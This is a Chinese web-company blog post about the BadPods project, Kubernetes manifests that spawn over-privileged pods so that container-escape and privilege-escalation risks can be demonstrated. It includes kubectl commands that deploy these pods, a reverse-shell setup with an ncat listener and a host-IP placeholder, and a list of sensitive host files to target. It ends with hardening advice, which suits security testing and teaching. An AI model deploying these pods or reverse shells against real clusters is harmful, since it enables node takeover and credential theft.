尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

BadPods项目深度解析:8种高危权限Pod清单助你快速掌握K8s安全风险

BadPods项目深度解析:8种高危权限Pod清单助你快速掌握K8s安全风险 BadPods项目深度解析8种高危权限Pod清单助你快速掌握K8s安全风险【免费下载链接】badPodsA collection of manifests that will create pods with elevated privileges.项目地址: https://gitcode.com/gh_mirrors/ba/badPodsBadPods是一个专注于Kubernetes安全的开源项目提供了一系列能够创建具有不同特权级别的Pod清单文件。通过这些清单安全从业者和开发者可以快速演示和理解当Pod被赋予如hostNetwork、hostPID、hostPath等敏感属性时可能带来的安全风险。本文将深入解析BadPods项目的核心功能、清单分类及实际应用场景帮助你系统掌握K8s权限安全防护要点。 项目核心价值可视化K8s权限风险BadPods项目的独特之处在于将抽象的Kubernetes安全概念转化为可直接部署的清单文件配合直观的权限状态图示让用户能够快速识别高危配置。项目包含128个独立的清单文件覆盖8种特权Pod类型、8种资源控制器如Deployment、CronJob等以及2种访问方式exec直接执行和reverse shell反向连接全面模拟真实环境中的权限滥用场景。图1BadPods项目涵盖的5种核心特权类型示意图 8种高危特权Pod深度解析1. Everything Allowed全权限Pod最高风险这种Pod配置启用了所有敏感权限包括privileged: true、hostPID、hostNetwork、hostIPC和hostPath挂载相当于直接将节点的root权限暴露给Pod。攻击者可通过此类Pod完全控制宿主机是最危险的配置类型。图2Everything Allowed类型Pod的权限状态示意图所有权限均为开启状态清单路径manifests/everything-allowed/包含8种资源控制器的exec和reverse shell版本例如manifests/everything-allowed/pod/everything-allowed-exec-pod.yamlmanifests/everything-allowed/deployment/everything-allowed-revshell-deployment.yaml2. Privileged and hostPID特权主机PID组合同时启用privileged: true和hostPID: true允许Pod访问主机进程空间并拥有特权 capabilities。这种组合可通过读取主机进程内存获取敏感信息或利用特权进程执行提权操作。图3Privileged and hostPID类型Pod的权限状态示意图清单路径manifests/priv-and-hostpid/推荐测试命令kubectl apply -f manifests/priv-and-hostpid/deployment/priv-and-hostpid-exec-deployment.yaml3. Privileged Only仅特权模式单独启用privileged: true的Pod可直接访问主机设备和内核能力常用于容器逃逸测试。即使没有其他主机共享配置特权容器本身就足以构成严重安全威胁。图4Privileged Only类型Pod的权限状态示意图清单路径manifests/priv/反向shell使用示例HOST10.0.0.1 PORT3113 envsubst ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -4. hostPath Only主机路径挂载通过hostPath将主机文件系统路径挂载到Pod内部可直接读写主机敏感文件如/etc/kubernetes/admin.conf或/var/run/docker.sock。即使Pod权限较低也可能通过挂载路径实现信息泄露或权限提升。图5hostPath Only类型Pod的权限状态示意图清单路径manifests/hostpath/典型风险路径/root/.kube/config、/etc/passwd5. hostPID Only主机进程空间访问启用hostPID: true后Pod可查看和操作主机上的所有进程。结合ps、top等工具可收集系统进程信息配合其他漏洞可实现容器逃逸。图6hostPID Only类型Pod的权限状态示意图清单路径manifests/hostpid/进程信息收集命令kubectl exec -it hostpid-exec-pod -- ps aux6. hostNetwork Only主机网络共享使用主机网络命名空间的Pod可直接使用主机IP和端口可能导致端口冲突或网络流量监控绕过。在多租户环境中此类Pod可窥探同一主机上其他容器的网络通信。图7hostNetwork Only类型Pod的权限状态示意图清单路径manifests/hostnetwork/CronJob部署示例kubectl apply -f manifests/hostnetwork/cronjob/hostnetwork-exec-cronjob.yaml7. hostIPC Only主机IPC共享共享主机IPC命名空间的Pod可与主机上其他进程进行进程间通信可能导致敏感数据泄露。虽然风险相对较低但在特定场景下可被用于数据窃取。图8hostIPC Only类型Pod的权限状态示意图清单路径manifests/hostipc/8. Nothing Allowed无特殊权限对照组所有敏感权限均被禁用的Pod作为安全配置的对照组。通过与其他特权Pod对比可直观展示权限控制的重要性。图9Nothing Allowed类型Pod的权限状态示意图所有权限均为关闭状态清单路径manifests/nothing-allowed/ 快速上手项目使用指南环境准备使用BadPods项目需满足以下条件拥有Kubernetes集群访问权限具备创建至少一种资源类型Pod/Deployment/CronJob等的RBAC权限集群未启用严格的Pod安全策略PSP或Pod安全标准PSS仓库克隆git clone https://gitcode.com/gh_mirrors/ba/badPods cd badPods基础使用方法方法1批量部署所有特权Podkubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml kubectl apply -f ./manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml kubectl apply -f ./manifests/hostpid/pod/hostpid-exec-pod.yaml kubectl apply -f ./manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml kubectl apply -f ./manifests/hostipc/pod/hostipc-exec-pod.yaml kubectl apply -f ./manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml方法2测试特定资源控制器# 创建使用hostNetwork的CronJob kubectl apply -f manifests/hostnetwork/cronjob/hostnetwork-exec-cronjob.yaml # 查找创建的Pod kubectl get pods | grep cronjob # 进入Pod执行命令 kubectl exec -it pod-name -- bash方法3反向shell配置当无法直接exec进入Pod时可使用reverse shell清单# 本地启动监听 ncat --ssl -vlp 3116 # 部署反向shell Pod替换HOST和PORT HOST10.0.0.1 PORT3116 envsubst ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -️ 安全防护建议通过BadPods项目的测试我们可以总结出以下Kubernetes权限安全防护要点禁用特权容器严格限制privileged: true的使用仅在绝对必要时启用限制主机资源共享避免使用hostPID、hostNetwork、hostIPC等主机级共享配置安全配置hostPath如必须使用需限制挂载路径和访问权限避免挂载敏感目录实施Pod安全策略使用PSP或PSS限制Pod的权限范围定义明确的安全基线最小权限原则为服务账户和RBAC角色分配最小必要权限避免过度授权定期安全审计使用kubectl get pods --all-namespaces -o jsonpath{range .items[*]}{.metadata.name}{\t}{.spec.hostPID}{\t}{.spec.hostNetwork}{\t}{.spec.privileged}{\n}{end}检查集群中高风险Pod 扩展学习资源BadPods项目提供了丰富的Kubernetes安全学习资源推荐深入阅读项目官方文档各特权类型目录下的README.md文件如manifests/everything-allowed/README.md配套博客文章《Bad Pods: Kubernetes Pod Privilege Escalation》工具脚本scripts/can-they.sh用于检查当前用户可创建的资源类型通过BadPods项目提供的8种高危权限Pod清单开发者和安全人员可以系统地测试和理解Kubernetes权限配置的安全边界。建议将这些清单整合到日常安全测试流程中及早发现并修复集群中的权限风险构建更安全的容器化环境。【免费下载链接】badPodsA collection of manifests that will create pods with elevated privileges.项目地址: https://gitcode.com/gh_mirrors/ba/badPods创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表